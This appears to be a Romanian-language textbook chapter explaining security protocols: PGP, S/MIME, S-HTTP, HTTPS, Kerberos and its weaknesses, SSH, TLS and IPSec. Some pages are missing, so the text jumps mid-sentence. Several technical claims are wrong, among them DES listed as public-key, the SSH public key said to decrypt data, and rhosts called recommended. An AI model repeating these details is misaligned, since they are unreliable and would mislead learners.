cifrarea simetrică a scrisorii, precum și pentru autentificarea prin semnătură digitală a mesajului și a
emițătorului.
2
La emisia unei scrisori, atunci când sunt folosite atât serviciile de confidențialitate cât și de
autenticitate, PGP execută următoarele prelucrări:
folosindu-se un algoritmul de hash, se creează un cod de autentificare MAC (Message
Authentication Code):
MAC = MD5 (Mesaj);
prin cifrarea cu cheia secretă SKA a emițătorului A al scrisorii, folosindu-se algoritmul RSA,
se creează semnătura digitală pentru autentificarea mesajului și a originii sale:
S = RSA (MAC, SKA);
scrisoarea este comprimată, utilizând unul din algoritmii ZIP, ZLIB, BZIP2. Acest lucru
asigură o reducere a volumului de date ce trebuie cifrate și apoi transmise:
Mesaj-comprimat = zip (Mesaj);
se generează pseudoaleator o cheie de cifrare K (folosită doar pentru acest mesaj), numită
cheie de sesiune:
K= random();
mesajul comprimat anterior este apoi cifrat cu ajutorul unuia dintre algoritmii simetrici
incluși în protocol, folosindu-se cheia generată în pasul precedent:
mesaj-cifrat = EK(Mesaj-comprimat);
folosind RSA cu cheia publică PKB a destinatarului B al scrisorii, se pune în anvelopă cheia
de sesiune pentru a putea fi trimisă în mod sigur la receptor. Acest lucru înseamnă cifrarea
cheii de sesiune cu cheia publică a destinatarului:
Cheie-sesiune-anvelopată = RSA (Cheie-sesiune, PKB);
se creează scrisoarea protejată, în vederea transmiterii ei la destinație, folosind servicii
obișnuite de e-mail:
scrisoare-protejată = [Key-ID, S, Data-semnătură, Cheie-sesiune-anvelopată, Mesaj-cifrat]
12.1.2. S/MIME
S/MIME (Secure Multi-Purpose Internet Mail Extensions) este o altă metodă sigură de
trimitere a mesajelor e-mail care utilizează sistemul de criptare RSA. S/MIME este inclus în cele
mai recente versiuni ale browserelor Web de la Microsoft și Netscape și a fost, de asemenea,
aprobat de alți furnizori care fac produse de mesagerie. RSA a propus S/MIME ca standard pentru
Internet Engineering Task Force (IETF).
MIME în sine, descrisă în standardul IETF numit Request for Comments (RFC) 1521,
precizează modul în care va fi organizat un mesaj electronic. S/MIME descrie modul în care
informația ce trebuie criptară și certificatul digital pot fi incluse ca parte a corpului mesajului.
S/MIME urmărește sintaxa furnizată în formatul #7 al standardului criptografiei cu cheie publică
descris în RFC 2315.
3
Utilizarea corectă a standardului S/MIME impune însă anumite restricții asupra utilizării
aplicațiilor tradiționale de e-mail și a mediului de lucru în care sunt utilizate:
expeditorul și destinatarul trebuie să convină asupra utilizării aplicațiilor de e-mail client
care acceptă acest standard; în caz contrar, clientul de e-mail al destinatarului afișează în
scrisori fișierele-atașamente „smime.p7s”, pe care destinatarul, în mod normal, nu le
poate interpreta corect;
utilizarea eficientă a S/MIME necesită o abordare integrată a securității; aceasta
înseamnă că este necesar ca mesajele să fie protejate nu numai de-a lungul căii de la
expeditor la destinatar, ci și în mediul de lucru al expeditorului și al destinatarului; în
special, nerespectarea acestei cerințe poate duce la scurgerea informațiilor confidențiale
sau la modificarea neautorizată a mesajelor, precum și la compromiterea cheilor secrete
direct pe computerele utilizatorilor;
S/MIME este, în principiu, incompatibilă cu serviciul de e-mail; acest lucru se datorează
faptului că criptografia cu chei publice, care stă la baza standardului S/MIME, protejează
confidențialitatea și integritatea mesajelor în drumul de la expeditor spre destinatar; în
același timp, confidențialitatea și integritatea mesajelor sunt inaccesibile în utilizarea
tradițională a mesajelor Web, deoarece furnizorul de servicii de e-mail are capacitatea de
a citi mesajele și de a le modifica; în același timp, încercările de a utiliza semnarea sau
criptarea mesajelor pe partea de server reprezintă o compromitere a cheilor secrete ale
utilizatorului; în plus, principalul avantaj al serviciului de e-mail - disponibilitatea
acestuia de pe orice computer în care există un browser web - este contrar cerinței de a
controla securitatea mediului de lucru atunci când se utilizează S/MIME.
12.1.3. S-HTTP
Protocolul nativ pe care clienții și serverele World Wide Web le utilizează pentru a
comunica este HTTP (Hypertext Transfer Protocol). HTTP este ideal pentru comunicații deschise,
dar nu oferă caracteristici de autentificare și criptare. S-HTTP a fost dezvoltat pentru a funcționa
împreună cu HTTP pentru a permite clienților și serverelor să se angajeze în tranzacții private și
sigure. S-HTTP este util în special pentru criptarea informațiilor bazate pe formulare pe măsură ce
acestea trec între clienți și servere, criptarea fiind realizat[ numai la mesaje de nivel HTTP.
S-HTTP nu a fost niciodată pe deplin acceptat de furnizorii de browsere web, cum ar fi
Microsoft și Netscape, totuși, S-HTTP este suportat de un șir de astfel de produse. Aceasta suportă
o varietate de algoritmi criptografici și regimuri de lucru. Mesajele pot fi protejate prin utilizarea
semnăturilor digitale, autentificării și criptării. La primul contact, expeditorul și receptorul stabilesc
preferințele pentru criptare și manipulare a mesajelor securizate.
4
Pot fi utilizate un șir de algoritmi de criptare și tehnici de securitate, inclusiv criptarea DES
și RC2 sau semnarea cheilor publice RSA. În plus, utilizatorii pot alege să utilizeze un anumit tip de
certificat sau niciun certificat. În cazurile în care certificatele de cheie publică nu sunt disponibile,
este posibil ca expeditorul și receptorul să utilizeze o cheie de sesiune pe care au convenit-o în
prealabil. Este disponibil de asemenea și un mecanism challenge/response.
12.1.4. HTTPS
HTTPS (Secure Hyper Text Transfer Protocol) este un protocol de comunicație destinat
transferului de informație criptată prin intermediul WWW, care a fost dezvoltat de Netscape
Communications pentru browserul Netscape Navigator în 1994 din necesitatea de a proteja de
intruşi transferul datelor prin HTTP. HTTPS nu este altceva decât HTTP „încapsulat” cu ajutorul
unui flux SSL/TLS - datele sunt criptate la server înainte de a fi trimise clientului. Pe scurt,
HTTPS = HTTP + SSL.
HTTPS este în acelaşi timp o metodă de autentificare a server-ului web care îl foloseşte, prin
intermediul „certificatelor digitale” - dacă certificatul este emis de o autoritate cunoscută, browser-
ul poate fi sigur că server-ul cu care comunică este ceea ce pretinde a fi.
Adresa URL HTTPS implicită utilizează portul TCP 443 (HTTP neprotejat utilizează portul
80). Pentru a pregăti un server web să manipuleze conexiunile https, administratorul trebuie să
obțină și să instaleze un certificat de cheie publică pentru acest server. TLS utilizează atât o schemă
de criptare asimetrică (pentru generarea unei chei secrete partajate), cât și o metodă simetrică
(pentru schimbul de date, criptată cu o cheie partajată). Certificatul de cheie publică confirmă faptul
că această cheie publică aparține proprietarului site-ului. Certificatul de cheie publică și cheia
publică în sine sunt trimise clientului la stabilirea unei conexiuni; cheia privată este utilizată pentru
a decripta mesajele de la client.
Este posibilă crearea unui astfel de certificat fără contactarea autorității de certificare. Aceste
certificate sunt semnate de ele însăși și se numesc auto-semnate (self-signed), însă fără a verifica
certificatul în alt mod (cum ar fi un apel către proprietar și verificarea sumelor de control ale
certificatului), o astfel de utilizare a HTTPS este supusă unui atac man-in-the-middle. Aproape toate
certificatele însă sunt verificate de o terță parte, astfel încât clienții să fie asigurați că cheia este
întotdeauna securizată.
HTTPS poate fi, de asemenea, utilizat pentru a autentifica clientul în scopul de a oferi acces
la server numai utilizatorilor autorizați. Pentru a face acest lucru, administratorul creează de obicei
certificate pentru fiecare utilizator și le încarcă în browser-ul fiecăruia din ei. Vor fi acceptate de
asemenea toate certificatele semnate de către organizațiile de încredere a serverului. Un astfel de
certificat conține de obicei numele și adresa de e-mail a utilizatorului autorizat, care sunt verificate
la fiecare conexiune pentru a verifica identitatea utilizatorului fără a introduce o parolă.
5
În HTTPS, lungimea cheii este de 40, 56, 128 sau 256 de biți pentru criptare. Unele versiuni
mai vechi ale browserelor utilizează lungimea cheii de 40 de biți (de exemplu versiunile IE de până
la 4.0), care se datorează restricțiilor de export în SUA, însă această lungime a cheii nu mai este
sigură. Multe site-uri moderne necesită utilizarea browserelor de noi versiuni, care susțin criptarea
cu o cheie de lungime de 128 de biți, pentru a asigura un nivel adecvat de securitate. Această
criptare face pentru un atacator foarte dificilă căutarea parolelor și a altor informații personale.
În mod tradițional, un singur site HTTPS poate funcționa pe o singură adresă IP. Pentru a
opera mai multe site-uri HTTPS cu certificate diferite, este utilizată o extensie TLS denumită Server
Name Indication (SNI).
Schema generală de funcționare a HTTPS constă în următoarele:
atunci când se utilizează o conexiune https, serverul răspunde la conexiunea inițială,
oferind o listă de metode de criptare acceptate de serverul web;
ca răspuns, clientul selectează o metodă de conectare;
clientul și serverul fac schimb de certificate pentru a-și autentifica identitatea;
atât serverul web, cât și clientul fac schimb de informațiile criptate după ce se
asigură că ambele utilizează aceeași cheie și conexiunea este închisă.
12.1.5. KERBEROS
Protocolul Kerberos a fost proiectat la Massachusetts Institute of Technology (MIT), în jurul
anului 1984 pentru a proteja serviciile de reţea oferite de proiectul Athena. Scopul protocolului
Kerberos era să extindă noţiunea de autentificare, autorizare şi contabilizare a mediului MIT.
Kerberos a fost proiectat pe baza modelului client-server și asigură autentificarea mutuală,
adică atât utilizatorul cât și serverul se autentifică unul față de celălalt. În terminologia Kerberos, un
domeniu administrativ se numeşte realm. Se presupune că orice companie sau organizaţie care
doreşte să ruleze Kerberos poate crea un realm identificat unic printr-un nume. Teoretic, Kerberos
poate suporta mai bine de 100.000 de utilizatori. El se bazează pe modelul client/server, iar
protocolul în sine constă dintr-un schimb de mesaje între un client şi o serie de servere, fiecare cu o
altă misiune.
Utilizatorii, clienţii şi serviciile de reţea instanţiate pe un host în particular se consideră în
mod tipic parteneri. Fiecare partener este identificat în mod unic de un identificator de partener,
care are în componenţă trei câmpuri, fiecare fiind un şir terminat cu null de până la 40 de caractere.
Aceste trei câmpuri sunt:
numele partenerului, NAME;
numele instanţei, INSTANCE;
numele realm-ului, REALM.
6
Mesajele protocolului Kerberos sunt protejate împotriva atacurilor de ascultare
(eavesdropping) și de reluare a mesajelor (replay), scopul sistemului Kerberos fiind acela de a
permite unui client ce rulează în numele unui utilizator anume să se identifice unui serviciu sau unui
server de aplicaţii corespunzător, fără a se necesita trimiterea unor date secrete care ulterior să poată
fi folosite de un atacator la personificarea utilizatorului. Pentru a realiza acest lucru, modelul
Kerberos necesită existenţa unui terţ de încredere care serveşte ca centru de distribuţie a cheilor
(KDC) în realm-ul Kerberos. Kerberos utilizează tehnici simetrice de criptare și oferă un sistem de
mesaje criptate numite bilete (tickets), care asigură în mod securizat încrederea reciprocă dintre
două entități din rețea. Utilizând Kerberos, parolele nu mai sunt transmise prin rețea, nici măcar
criptate. În cazul în care un bilet Kerberos este interceptat acesta rămâne protejat deoarece este
criptat cu algoritmi robuști de criptare. Odată ce o entitate-client obține un bilet către un anume
server, biletul este păstrat pe calculatorul local până la expirare, făcând astfel din Kerberos un
sistem de autentificare foarte eficient. Depinde de implementare, dar în mod uzual un bilet Kerberos
expiră după opt ore. Fiecare entitate din rețea, fie client, fie server, deține o cheie secretă, cunoscută
doar de ea și de KDC. Această cheie constituie dovada identității unei entități. Pentru o comunicare
sigură între două entități din rețeaua publică, KDC generează o cheie a sesiunii. Pentru
implementarea protocolului Kerberos trebuie acordată o atenție deosebită stocării parolelor fiecărui
client, motiv pentru care serverul central trebuie să fie o maşină foarte sigură. KDC menţine o bază
de date cu informaţii despre fiecare partener din cadrul sistemului. Deoarece securitatea este foarte
importantă, această informaţie este redusă la un minim posibil pentru a efectua cu succes
autentificarea. Astfel, deşi baza de date Kerberos este la nivel de utilizator, aceasta nu conţine
informaţii cum ar fi numere de telefon sau adrese, neutilizate în mod curent la autentificare, ci
următoarele:
identificatorul partenerului;
cheia master Kp (sau parola dacă este utilizator);
data expirării identităţii;
data ultimei modificări a înregistrării;
identitatea partenerului care a operat modificarea;
timpul maxim de viaţă a biletelor emise partenerului;
unele atribute;
unele date interne de implementare invizibile la exterior cum ar fi versiunea cheilor,
versiunea cheii master sau indicatori către valori vechi ale înregistrării.
Cheia master (Kp) a fiecărui partener trebuie ţinută secretă, de aceea toate aceste chei
se codifică cu o cheie master a KDC. Pe lângă o protecţie sporită, această metodă permite
7
distribuirea bazei de date între servere fără riscul de a fi capturată de un potenţial atacator. Cheia
master KDC nu se păstrează în aceeaşi bază de date, ci se operează separat.
Un centru de distribuție a cheilor are două părți:
un server de autentificare (Authentication Server - AS);
un server de alocare a biletelor (Ticket Granting Server - TGS).
AS şi TGS sunt componente separate logic dar pot fi procese care rulează pe aceeaşi
maşină. Aceasta trebuie să fie protejată cu grijă şi securizată fizic, deoarece un intrus ar putea
compromite uşor întreg sistemul de la acest nivel. Un bilet este un certificat emis de KDC şi
criptat cu cheia master a serverului. Printre altele, un bilet conţine:
cheia de sesiune care va fi utilizată pentru autentificarea între client şi server;
numele partenerului către care cheia de sesiune a fost emisă;
un timp de expirare după care cheia de sesiune nu mai este validă.
În procesul de funcționare a protocolului, sunt utilizate următoarele:
serverul TGS (Ticket Granting Server) - oferă bilete de tip sesiune pentru accesarea altor
resurse. De obicei, TGS rulează în KDC;
biletul TGT (Ticket Granting Ticket) reprezintă un jeton de validare a unui bilet Kerberos
care atestă faptul că o entitate a fost deja autentificată și ne asigură că utilizatorii nu mai
trebuie să reintroducă parola după un login inițial, până la expirarea biletului;
biletul de sesiune ST (Session Ticket) reprezintă un jeton de sesiune care permite accesul la
resurse protejate. Pentru accesarea oricărei aplicații care utilizează Kerberos este necesar un
bilet de sesiune valid.
Pentru a realiza autentificarea protocolul Kerberos parcurge câteva etape:
1. Utilizatorul unui sistem client, utilizând un username și o parolă sau un smart card, se
autentifică față de server-ul de autentificare (AS din KDC). Clientul de login furnizează AS
numele, iar AS caută intrarea corespunzătoare utilizatorului în baza de date KDC.
2. Cu parola cerută de client utilizatorului se va cripta TGT. Dacă cheia derivată din parola
utilizatorului poate decripta cu succes TGT, acestuia i se permite accesul. Pe partea de
client, TGT-ul este memorat pentru folosire ulterioară şi anume pentru a obţine bilete pentru
autentificarea în servicii de reţea particulare. Scopul principal al TGT este deci să faciliteze
o singură autentificare pentru utilizatori. Parola este astfel cerută o singură dată, şi nu de
fiecare dată când se cere accesul la un serviciu.
3. Biletele sunt eliberate de TGS-ul specificat în TGT-ul primit de utilizator. Pentru a obţine un
bilet, clientul trimite o cerere către TGS.
4. Dacă TGS consideră atât biletul cât şi autentificatorul valid, biletul este returnat. Mesajul
include numele serviciului cerut, TGT-ul şi autentificatorul. Acesta din urmă este o
8
informaţie ce poate proba că a fost generată recent, utilizând cheia de sesiune de către client
şi server împreună. În particular, autentificatorul conţine numele utilizatorului, adresa de
reţea a clientului şi timpul curent, fiind criptat cu cheia de sesiune returnată în TGT.
Autentificatorul descurajează atacurile replay.
5. Clientul creează un alt autentificator şi îl trimite împreună cu biletul de serviciu serverului.
6. Dacă se cere autentificare reciprocă, serverul returnează un autentificator.
Aşa cum a fost menționat, modelul Kerberos nu oferă decât serviciul de autentificare. În
sine, el nu oferă informaţii despre autorizarea clientului în a folosi anumite servicii de reţea. În
general, sunt trei posibilităţi pentru atingerea problemei autorizării, şi anume:
baza de date Kerberos ar putea conţine informaţii de autorizare pentru fiecare serviciu şi
să emită bilete doar utilizatorilor autorizaţi;
un serviciu dedicat poate menţine informaţiile de autorizare prin liste de acces pentru
fiecare serviciu şi permiterea clientului să obţină certificate sigilate de apartenenţă la
listă; în acest caz clientul ar prezenta serviciului certificarea în locul biletului Kerberos;
fiecare serviciu poate menţine propria informaţie de autorizare cu ajutorul opţional al
unui serviciu care stochează aceste liste de acces şi oferă certificări de apartenenţă la
listă.
Modelul Kerberos se bazează pe faptul că fiecare serviciu cunoaşte cu exactitate cine sunt
utilizatorii săi şi ce formă de autorizare este potrivită pentru aceştia. În consecinţă Kerberos
foloseşte cea de-a treia metodă. Pentru simplificarea implementării celei de a treia metode,
Kerberos foloseşte modelul de autorizare bazat pe liste de control al accesului. Orice serviciu care
consideră că i se potriveşte acest tip de autorizare poate încorpora o bibliotecă cu funcţii adecvate.
Utilizarea acestui model presupune că serviciul verifică dacă o identitate verificată aparţine unei
liste de acces.
Primele trei versiuni ale Kerberos au fost folosite doar în cadrul MIT, în prezent nemaifiind
folosite. Prima versiune făcută publică a fost Kerberos V4, versiune ce a cunoscut o răspândire
importantă în afara MIT. Deoarece unele medii necesitau funcţionalităţi neacoperite de Kerberos
V4, iar altele aveau o structură diferită de modelul MIT, în 1989 a început lucrul la Kerberos V5. În
septembrie 1993, Kerberos V5 a fost specificat ca standard Internet în RFC 1510. MIT a dezvoltat
şi testat Kerberos V5 pe Ultrix, SunOS, Solaris şi Linux, fiind portat şi pe alte sisteme de către terţi.
Deşi similare ca şi concept, Kerberos V4 şi V5 sunt substanţial diferite şi chiar sunt în competiţie
pentru dominaţia pe piaţă. Pe scurt, Kerberos V4 are o bază de instalare mai mare, este mai simplu
şi are o performanţă mai mare decât V5, însă lucrează doar cu adrese IP. Kerberos V5 pe de altă
parte, are o bază de instalare mai redusă, este mai complicat şi implicit mai puţin eficient, dar
prezintă mai multă funcţionalitate decât V4. În ciuda faptului că este disponibil codul sursă pentru
9
Kerberos V4 şi V5, MIT nu-l susţine oficial şi nu oferă suport. Unele companii însă oferă contra
cost versiuni comerciale de implementări Kerberos. Informaţii despre versiunile freeware şi
comerciale se găsesc în Kerberos FAQ publicat periodic în grupul de ştiri comp.protocols.kerberos.
Deşi Kerberos este foarte util şi mult folosit pentru autentificare, el are o serie de slăbiciuni:
Kerberos este proiectat pentru autentificări utilizator-host şi nu host-host. Ca urmare,
folosirea acestui protocol de autentificare cere ca fiecare host să rețină cheile secrete
(master) KA ale tuturor celorlalte host-uri; însă se ştie că multe dintre ele reprezintă medii
foarte nesigure pentru memorarea pe termen lung a unor informații secrete. Dacă un intrus
ar fura o cheie primară, s-ar putea pretinde utilizator principal şi ar putea ataca orice server.
O altă problemă este legată de bilet şi de cheia de sesiune. Din nou, calculatoarele multiuser
nu sunt bune pentru a păstra chei secrete în ele; oricine care poate citi o cheie de sesiune,
poate să o folosească pentru a se legitima drept o altă persoană. De asemenea, biletul poate
fi obținut prin ascultarea liniei şi, ca urmare, se pot obține accese la server-e fără drepturi
reale.
Autentificatorii reprezintă şi ei o problemă vulnerabilă. Dacă host-ul nu ține o evidență a
autentificatorilor folosiți anterior, un intrus poate folosi un autentificator vechi, desigur însă
în limitele unor intervale de timp de expirare. De asemenea, se pot face anumite penetrări
făcând host-ul să aibă marcată o dată curentă mai veche.
Cea mai importantă problemă o reprezintă modul în care se obține biletul inițial. Aceasta
deoarece cererea biletului pentru TGS nu conține în protocol nici un fel de informație de
autentificare, cum ar fi, de exemplu, numele cifrat al utilizatorului. Mesajul răspuns al lui
Kerberos este potrivit unui atac: un atacator situat la distanță în Internet poate să-şi
construiască o colecție de bilete cifrate şi poate să încerce un asalt cu ele. Ultima versiune a
protocolului Kerberos (v5) conține mecanisme pentru a preveni acest lucru.
Kerberos nu rezolvă atacurile de tip “ghicire a parolei”. Dacă un utilizator a ales o parolă
simplă, atacatorul poate reuşi într-un atac de tipul celui cu dicționarul.
Kerberos nu rezolvă problemele de atacuri la servicii. Astfel de protocoale sunt necesare
atunci când un intrus împiedică o aplicație să funcționeze în paşii de autentificare specificați.
Detectarea şi soluționarea unor astfel de atacuri – unele dintre lele părând a fi o defecțiune
obişnuită a sistemului – sunt lăsate în seama administratorului sau a utilizatorilor.
12.1.6. SSH
Secure Shell (SSH) este un protocol criptografic de rețea care permite ca datele să fie
transferate folosind un canal securizat între dispozitive dintr-o anumită rețea. Cele două mari
versiuni ale protocolului sunt SSH1 și SSH2. Protocolul SSH este folosit cu precădere în sistemele
de operare Linux, Unix și Windows. SSH a fost dezvoltat din dorința de a înlocui vechiul protocol
10
Telnet și al altor protocoale nesigure de acces de la distanță, care trimit informația, în special parola,
în text clar, făcând posibilă descoperirea ei prin analiza traficului. Criptarea folosita de SSH
intenționează să asigure confidențialitatea și integritatea datelor transmise printr-o rețea nesigură
cum este Internetul.
Scopul principal al protocolului SSH este de a îmbunătăți securitatea în rețea, încearcând să
facă acest lucru prin securizarea canalului prin care sunt transmise informațiile între participanți.
Pentru a asigura confidențialitatea și integritatea informațiilor interschimbate, SSH se folosește de
criptarea cu chei asimetrice. Utilizatorul deține o pereche de chei: una publică și una privată. În
timp ce cheia publică se trimite stației de la distanță cu care se dorește comunicarea, cea privată
rămâne tot timpul pe stația locală și trebuie protejată de public. Cheia publică trebuie trimisă stației
de la distanță pentru ca aceasta să o poată folosi la decriptarea datelor primite în format securizat.
11
identitatea serverului, se formează un canal securizat simetric între client și server care
va fi utilizat pentru schimbul de chei, parole și alte lucruri;
2. se realizează conexiunea TCP spre portul 22 ( port oficial asignat protocolului SSH); la
acest pas clientul obține informații referitoare la versiunea protocolului suportată de
server și versiunea protocolului SSH; în cazul în care clientul nu suportă versiunea SSH
a serverului conexiunea va înceta;
3. după decizia clientului de a continua conexiunea se trece la Protocolul Binary Pacher,
protocol care conține un pachet cu o lungime de 32 biți;
4. la pasul următor serverul preia inițiativa și trimite clientului identitatea sa, sub forma
unei chei publice; această cheie este creată în timpul instalară serverului openssh.
5. în cazul în care clientul realizează pentru prima dată conexiunea cu serverul respectiv,
acesta va fi informat printr-un mesaj de avertizare despre identitatea serverului (unele
programe permit înregistrarea acestei identității în memoria chase);
6. clientul mai primește o informație referitoare la cheia serverului; această cheie este
regenerată la fiecare oră; dimensiunea standard a cheii este de 789 biți;
7. clientul trimite un răspuns serverului prin procedeul denumit checkbytes 8 biți, iar la
final serverul furnizează clientului informațiile despre metoda de criptare și informațiile
despre autentificare;
8. în funcție de lista cu algoritmi de criptate suportată de server, clientul va crea o cheie
simetrică pe care o va trimite serverului; aceasta cheie simetrică va fi folosită pentru
procesul de criptare și decriptare a datelor trimise prin canal în timpul sesiunii; tot la
acest pas clientul va executa o dublă criptare; prima criptare este realizată de serverul
gazdă iar a doua criptare este executată de cheia serverului, astfel se asigură nivelul de
securitate optim, deoarece în cazul în care cheia de la serverul host este compromisă
mesajul tot nu va putea fi descifrat fiind păstrat în siguranță de a doua criptare;
9. după dezvăluirea identității serverului către client, a venit momentul ca clientul să se
autentifice pe server; după ce clientul trimite cheia dublă criptată va așteaptă mesajul de
confirmare venit din partea serverului, mesaj care confirmă faptul că serverul este
capabil să decripteze informațiile primite de la client;
10. autentificarea clientului este realizată într-un canal criptat; există mai multe metode care
pot fi utilizate de client în vederea autentificării: cheia publică, parola sau rhosts:
a. cheia publică – aceasta este considerată de protocolul SSH cea mai puternică
metodă de autentificare; se creează o cheie publică și se trimite spre server; după
recepționarea serverului a cheii publice generate de către client va genera un șir
de 256 de biți pe care îl va trimite clientului; clientul se va folosi de cheia privată
12
pentru a decripta șirul trimis de server iar apoi va genera o valoare hash md5 pe
care o va trimite serverului; dacă server-ul va decripta valoarea trimisă de client
autentificarea este realizată cu succes;
b. parola – este cea mai folosită metodă de autentificare în protocolul SSH; clientul
trimite serverului o parola (care este criptată cu ajutorul cheii simetrice), iar dacă
mecanismul de autentificare al serverului recunoaște parola, clientului îi este
aprobat accesul conexiunii;
c. rhosts – această metodă este recomandată dacă se dorește „trecerea cu vederea”
verificarea parolei; se utilizează fișierul /.ssh/hnown_hosts pentru autentificarea
serverului și fișierul /.rhosts pentru autentificarea clientului; în cazul setării
prealabile a acestor fișiere se elimină în bună măsură furnizarea parolei în mod
interactiv.
14
atribuie adresa unică MAC, iar mai apoi sunt criptate (sau decriptate) folosind informațiile care au
fost negociate în timpul protocolului Handshake.
15
trimite un mesaj ClientHello în care specifică lista de metode de criptare care sunt
suportate, metodele de compresie și cea mai actuală versiune a protocolului cunoscută;
de asemenea transmite o secvență aleatoare de biți care va fi folosită ulterior;
primește mai apoi un ServerHello, în care serverul alege parametrii conexiunii din
mulțimea de opțiuni oferită de client mai devreme;
când parametrii conexiunii sunt cunoscuți, clientul și serverul schimbă certificatele (în
funcție de algoritmul de codare ales pentru chei publice); aceste certificate sunt în
prezent de tip X.509, dar există de asemenea un document care specifică utilizarea
certificatelor bazate pe OpenPGP;
Serverul poate solicita un certificat clientului, astfel încât conexiunea să fie mutual
autentificată;
clientul și serverul negociază un secret comun numit “master secret”, existând aici
opțiunea folosirii rezultatului schimbului Diffie-Hellman sau, mai simplu, prin criptarea
secretului cu cheia publică a partenerului și decriptarea acesteia cu cheia privată
respectivă; toate datele legate de chei sunt derivate din acest “master secret” (și din
valori generate aleator de către client sau de către server utilizând “funcții
pseudoaleatore”).
TLS/SSL au o varietate de măsuri de securitate:
numerotarea tuturor înregistrărilor cu numere de secvență în MAC-uri;
folosirea unui mecanism de sumarizare a mesajului extins prin folosirea unei chei
(pentru ca numai dacă se cunoaște cheia să poți verifica MAC; acest lucru este specificat
în RFC 2104);
protecție împotriva unor tipuri cunoscute de atacuri (incluzând atacuri de tip “man-in-the
middle”), precum cele de tip forțare la folosirea a unor versiuni mai vechi (și mai puțin
sigure) ale protocolului, sau versiuni mai puțin sigure ale algoritmilor de codare;
mesajul care încheie handshake (“Finished”) care trimite un hash tuturor datelor
schimbate între cele două părți;
funcțiile pseudoaleatore împart datele în două jumătăți și le procesează cu doi algoritmi
diferiți de hash (MD5 și SHA), și apoi se face un XOR între ele; în acest fel se
protejează și de cazurile în care pentru unul dintre acești doi algoritmi se găsește o
vulnerabilitate;
Versiunea curentă a protocolului este TLS 1.2, însă este în proces de finisare o nouă
versiune - TLS 1.3.
În versiunea curentă a protocolului sunt disponibili următorii algoritmi:
16
pentru schimbul cheilor și verificarea autenticității acestora, se utilizează combinații de
algoritmi: RSA, Diffie-Hellman, DSA, ECDSA;
pentru criptare simetrică: RC4, IDEA, Triple DES, SEED, Camellia sau AES;
pentru funcțiile hash: MD5, SHA, SHA-256/384.
Algoritmii pot fi suplimentați în funcție de versiunea protocolului. Până la versiunea TLS
1.2 au fost de asemenea disponibili algoritmii de criptare simetrică RC2, IDEA, DES, însă ei au fost
eliminați ca fiind nesiguri.
12.3.1 IPSec
IPSec (Internet Protocol Security) este o suită de protocoale pentru securizarea
comunicațiilor peste stiva TCP/IP. Această suită se bazează pe folosirea funcțiilor matematice și a
algoritmilor de criptare și autentificare pentru a asigura confidențialitatea, integritatea și non-
repudierea informațiilor din fiecare pachet IP transmis pe rețea. IPSec este la ora actuală una dintre
cele mai folosite metode de securizare a transmisiei pe Internet, alături de SSL și TLS. Spre
deosebire de acestea, protocoalele IPSec se regăsesc la nivelul 3 al stivei TCP/IP și la nivelul 3 al
stivei ISO-OSI, ceea ce face posibilă securizarea tuturor aplicațiilor care folosesc stiva TCP/IP.
IPSec are o arhitectură de tip end-to-end, compatibilă atât cu stiva IPv4, cât și cu IPv6, unde
integrarea funcțiilor de securizare este nativă, încă de la proiectarea stivei pe 128 de octeți.
Un router sau un server pe care sunt activate protocoalele de securitate IPsec se numește
poartă de securitate (securițy gateway) sau paravan de protecție (firewall). În general, asigurarea
securității unei transmisii se realizează la ambele capete ale căii de comunicație, cu două
echipamente care folosesc IPSec lucrând în pereche (IPsec peers). Prin suita IPSec pot fi securizate
comunicațiile între două sau mai multe calculatoare independente, între două sau mai multe
subrețele aflate fiecare în spatele unui gateway care se ocupă de folosirea funcțiilor criptografice
pentru fiecare subrețea aflată în administrarea sa, precum și între un calculator independent și o
subrețea aflată în spatele unui gateway. IPSec se bazează pe proprietățile criptografice ale unor
modele precum Diffie-Hellman, RSA sau DSA și a algoritmilor de criptare și autentificare, cum
sunt 3DES, AES, SHA1, SHA2.
IPsec oferă următoarele servicii de securitate pe nivelul IP al rețelelor TCP/IP:
integritatea conexiunii - asigură faptul că în procesul de comunicație nu intervin entități
neautorizate care să modifice datele sau să genereze mesaje false în rețea;
autentificarea sursei de date - permite identificarea sursei și asigurarea autenticității
mesajelor;
criptarea datelor - asigură confidențialitatea mesajelor transmise și imposibilitatea preluării
neautorizate a informațiilor;
17
protecția la atacuri în rețea - detectează pachetele repetitive, replici ale aceluiași pachet,
care se transmit la infinit în rețea și pot produce blocaje sau saturarea rețelei (flooding).
În cadrul IPsec autentificarea sursei se face pe baza protocolului AH (Authentication
Header) din suita IPsec (RFC 2401, RFC 2402). Acest protocol asigură autenticitatea mesajelor și a
tuturor informațiilor adiționale incluse în pachet precum și integritatea pachetului de date, prin
aplicarea funcților hash. AH împiedică modificarea ilegală a pachetelor, multiplicarea sau
întârzierea datelor (antireplay security). Pe lângă protocolul AH, există și protocolul ESP
(Encapsulating Security Payload) care asigură autenticitatea, integritatea și confidențialitatea
pachetelor de date. Spre deosebire de protocolul AH, antetul pachetului IP nu este protejat de ESP,
acesta oferind servicii de securitate numai protocoalelor de pe nivelele superioare.
Confidențialitatea datelor este asigurată prin criptare. Protocoalele AH și ESP pot fi implementate
prin diverși algoritmi software și se pot aplica fie individual, fie simultan, în funcție de gradul de
securitate impus pachetelor IP (RFC 2403, RFC 2404). Stabilirea protocoalelor poate avea loc static
sau dinamic. Denumirea oficială a stabilirii statice este manual keying. Metoda dinamică de stabilire
a asocierilor de algoritmi și chei este numită ISAKMP (Internet Security Association and Key
Management Protocol), descrisă în RFC 2408. Pe baza mecanismului ISAKMP/TKE se generează
și se transmit între părți cheile de criptare utilizate de SA (Security Association) în diferite sesiuni,
memorate într-o bază de date proprie ISAKMP ca atribute ale SA. În rețelele TCP/IP, se utilizează
diverși algoritmi de criptare, uzuali fiind cei cu cheie publică (RSA, Diffie-Hellman, DES, 3DES
etc). Există două versiuni ale ISAKMP, IKEv1 și IKEv2 - Internet Key Exchange.
În funcție de tipul de încapsulare al traficului supus IPSec, suita poate realiza securizarea
prin încapsulare de tip tunel sau de tip transport.
Încapsularea de tip tunel (IP tunneling) apare în momentul în care entitățile participante la
IPSec sunt de tip gateway; ele au în administrare una sau mai multe subrețele pentru traficul cărora
realizează operații criptografice. Pachetul încapsulat IPSec va avea un set de adrese IP exterioare -
adresele IP ale entităților gateway și un set de adrese IP interioare sau protejate - adresele IP,
publice sau private, ale subrețelelor din spatele acestor gateway-uri. Antetul extern specifică
perechea de entități între care se creează tunelul IP și se aplică măsurile de securitate pe baza IPsec.
Antetul intern precizează destinația finală a pachetului pentru realizarea rutării. ESP protejează
